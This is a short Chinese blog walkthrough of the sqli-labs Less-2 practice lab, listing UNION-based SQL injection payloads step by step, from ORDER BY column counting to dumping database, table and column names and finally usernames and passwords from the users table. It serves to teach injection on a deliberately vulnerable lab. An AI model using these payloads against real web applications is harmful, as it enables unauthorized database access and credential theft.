WEB渗透与网络安全信息安全CTF-Web安全

sqli-labs Less-2

2020-03-31  本文已影响0人  LonelySong

1.判断注入类型

index.php?id=1*1
index.php?id=1*2
id=1
id=2

2.猜字段数

index.php?id=1 order by 4#
index.php?id=1 order by 3#
index.php?id=1 order by 4#
index.php?id=1 order by 3#

第一次报错,第二次未报错,说明当前数据库当前表存在3个字段

3.使用联合查询查看页面的显示位

index.php?id=-1 union select 1,2,3#

这里需要注意的是id需要是一个数据库中不存在的id,因为只有这样,页面才会显示我们后面联合查询的数据。

4.爆出数据库版本和当前数据库名

index.php?id=-1 union select 1,database(),version()#

5.爆出所有数据库

index.php?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata --+
所有数据库名
ctftraining,information_schema,mysql,performance_schema,security,test

6.爆出当前数据库所有表

index.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+
emails,referers,uagents,users

7.查询当前数据库users表所有字段

index.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" #
image.png
id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

9.查询数据

index.php?id=-1 union select 1,group_concat(username),group_concat(password) from users #
image.png

成功读取数据库数据。

上一篇下一篇

猜你喜欢

热点阅读